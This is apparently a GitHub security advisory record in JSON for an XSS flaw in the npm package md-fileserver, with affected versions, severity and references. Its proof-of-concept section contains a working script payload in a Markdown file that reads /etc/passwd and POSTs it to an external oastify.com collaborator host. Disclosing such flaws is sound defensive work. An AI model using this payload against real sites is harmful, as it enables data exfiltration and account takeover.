CVE-2026-46492: md-fileserver Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-32q2-hhr5-6qvv",
  "modified" : "2026-06-09T18:41:40Z",
  "published" : "2026-05-21T17:57:32Z",
  "aliases" : [ "CVE-2026-46492" ],
  "summary" : "md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)",
  "details" : "### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n<script>\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n</script>\n\n```\nOpen it on browser.\n<img width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" />\nView the HTTP request in Burp Collaborator.\n<img width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" />\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "md-fileserver"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46492"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/commenthol/md-fileserver"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-80", "CWE-87" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T17:57:32Z",
    "nvd_published_at" : "2026-06-09T17:17:33Z"
  }
}